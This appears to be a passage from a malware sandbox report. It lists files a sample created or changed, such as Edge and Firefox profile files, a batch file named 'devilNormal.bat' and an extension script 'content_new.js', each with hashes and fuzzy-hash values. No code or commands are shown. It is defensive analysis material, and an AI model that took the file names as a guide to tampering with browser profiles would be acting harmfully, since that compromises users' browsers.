MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 8d8aa3992889bcef9aa8d1bd21a1575b2c6c08d96b0911b33340abd83f44eaff
MD5 fc255922460a36352763627eb107872b
SHA1 274fbf96c1a8f418bfd5c91de997f9abd788d2f4
SHA512 5816ec7a4bfb57dad5e561514be7159aad26d3dd653dcb2b82a71dd6805014385bdc12ab0f68d03622d7987e1304a06942035d9beb958c73a3920402a00e6ab1
SSDEEP 768:iy3rC07J2ieOjohVj3nUPO4Qp7cPAiSm2eo4w4cciGrTFl9PSa7dLKkTId:iy3rnERj3wQpYoimeoR4ccFF7PKd
TLSH
T1CDF2BEB09CB99E735CF6928475197B42BFF04163A8C55F88DAE95F0E018369E071BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 f88b4bd8f95f9dfc734777cdf050f4da40ca066026292d98a8b4e2b09b25a054
MD5 05ca040b3b8e88f945d0e8c764e54fce
SHA1 47920ba2f3ab27f99a660e87c8ef37e0c0e44a80
SHA512 8830f8403548fab6b3a76f13f4408cddce3244597a4e81698e2ceb9c6649cf99624dd2308622e8aa5f081ec416d524dc6714ec50b6865a340826a56b595e97b6
SSDEEP 768:3Sy3WC07J2ieOjohVj3nUPO4Qp7cPAiSm2eo4w4cciGrTFl9PSa7dLKkTId:3Sy3WnERj3wQpYoimeoR4ccFF7PKd
TLSH
T1D0F2BEB09CB9DE735CF6928475197B42BFF041A3A8C55F88DAEA5F0E018369E071BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 37KB
SHA256 98419dcc3bcb81f752ee139ed8a551e6d3a96c0838eca0bd924e6f455abea68a
MD5 3f27170bc03a69caf06a53ff943b5d63
SHA1 a2bf21dc2798697644fead001ce37b43c9485b32
SHA512 da3df365f3dc9840bc26789d1edfc4db89f89e4cd2077b1425be84177a579e2f555cc8b8a3b1fb59b4bf5cb5e0804fa7aa3d3474c5c2a5b9e58701bd8164ec27
SSDEEP 768:vw/UxvxjgC+5j3GVGF8uieOjDjFnUPO4Qp7cPAiSm2eo4w4cciGrTF5rAgZbCM3s:vdZj3+5j3GgFxujFwQpYoimeoR4ccFFY
TLSH
T18603BE7598A8AE77DCF29684361D6342FFF1416399C12AA4CAED1F0D428B3AD430BC56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 deb72b211eef301560b8170f32b0681a1eb4a66a8f1ba8b69f03b0cec0e2bc18
MD5 f763d0694f8330683a5afa9a2c59cad2
SHA1 ea1f2c65cecec060249fd019e053655454d28a08
SHA512 51b8b0b1539d2e40a1677d6e41823241613730a752c21705d8f4562343742a3f310b47eee7f5f5f8e56d51040b21992bc53c2fed8386f07b9a3f82fb48b47602
SSDEEP 768:+FBx3swg4C07J5uOjohAATnUPO4Qp7cPAiSm2eo4w4cciGrTFl9PSa7dLKkTId:mx35nzATwQpYoimeoR4ccFF7PKd
TLSH
T18F037CB6DCA4DE77ACF6978566197A42EFF041A388C99AC4DAD95E0D00832DE070BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 34KB
SHA256 d418443f191659a686e4521dc8fd9fd217a5c6c7634ad45e01591a67ccbd9770
MD5 c2420c4678dd71131f50416f56acc807
SHA1 17b992023abc1c8c180314dfbd704adc27690b86
SHA512 e197b05acc58afaef4a88e5e9cf111d547ba8e31c0a2c5e178115039beac6d94cd8ba1c800c3b0db46b0ee30379058b353408476c5182b4112c07fa3bb52a459
SSDEEP 768:3By3aC07t2ieOjohVj3nUPO4Qp7cPAiSm2eo4w4cciGrTFl9PSa7dLKkTId:3By3anIRj3wQpYoimeoR4ccFF7PKd
TLSH
T176F2BDB09CB9DE735CF692847A197B42BFF04163A8C55F88DADA5B0E018369E071BC17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

e0364eb5-3713-45b4-997f-fd116cbc37fd.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\e0364eb5-3713-45b4-997f-fd116cbc37fd.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

devilNormal.bat

Path C:\Users\Admin\AppData\Local\Temp\50D5.tmp\devilNormal.bat
Size 8KB
SHA256 41f2fd4c55e8b553c1ca5a7cfeb37e7dd357fdbea0ae571c099c62c940dd816c
MD5 3b072b538029325864ca548a769bac2b
SHA1 c91194b6e173f3ed3492abbd73ed375719b5b292
SHA512 1cc9e4ab7906499e27d963631daaab67166705ffa74867df419135807d7e76c79b168ac0ffb58b20ba778051bf060216bdeece7e62a3df63120a50dd4136b987
SSDEEP 96:XB/SFav6rlGbapMLmTy9yutptLNf/AgwNQAgm5Q9pDe:X+iSaLNnAgwNQAgm5n
TLSH
T1C0025A6169C9F0B1CFB1D01858E26917F70EACAB4459C6CEF7593828B26D9C8CD2D383
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4504_392888985\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

~i.tmp

Path C:\Users\Admin\AppData\Local\Temp\~i.tmp
Size 742B
SHA256 4ceeb505060af0b113ef1ed99000f56a41d59c5339eb52dd1c3e409f9f32412b
MD5 f5dd38b0b4b20eff1724143df559aaae
SHA1 e8cadd1df9268057eeb5a2e0b03d8a08b8827ab6
SHA512 5d35e78bce982371242f12395c35c299184848c29bc23b7207579e9d33d3965fe9761e14770b15ae9e1ad912fdb4a2a2202a518b03859adb4672896bca9dbc3e
TLSH
T16F01C040B207C305C46A392A570912C0EA54239BCE92FAF9FD091B806D8BC9BD63908B
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1oz9o2w9.default-release\prefs.js
Size 6KB
SHA256 39d31224a8835579a754a693d249192c16152c26897ad4d7c005087411c16889
MD5 8f43e57a7f2e4728571da732328074a6
SHA1 60f4c3044f775ae896b185e75377bcb236fd1348
SHA512 7382d21421efd6dd4e928df7da052338ad88f46fc6f0279a9b4550df36de676473c67b325a4087154a2b28d8cdb34d9709878c7c774aa8662b90f4be33dd0dfd
SSDEEP 96:xHPUTUZqGqLfhnj1zSrSSlXdv9jVggnlHDU/IBRcvBw88u8L4cnABKX:F0RLfhnjySSYKDU/SRcvBw88h
TLSH
T120E1217891488F7F74B677AC6C6888319AB2013BB7BF68D750B55484050CF3846FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1oz9o2w9.default-release\prefs.js
Size 6KB
SHA256 7af6da7a2de74dddb4b29176464de5f3037a37035cf9909ded535c8bee79b6bb
MD5 16a4bd05d73741f2814318e29d00ccdd
SHA1 a9de49606a8153537c86129ccb3988b308471e97
SHA512 458be5cfe0969c06e086cb645ad2ed7246889d9c4aa99a66571282d571b8df4d304b5860cbefee97252b2c684c2718686a0fbc34853b292c53317b763fad7d1c
SSDEEP 96:xHPUTUZqGqLfhnj1zSrSSlXdv9jVggnlHDU/IBRcvBw88u8L4cnABKL:F0RLfhnjySSYKDU/SRcvBw88J
TLSH
T17DE1217891488F7F74B677AC6C6888319AB2013BB7BF68D750B55484050CF3846FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2080-0-0x000000000040A000-0x000000000040B000-memory.dmp

Download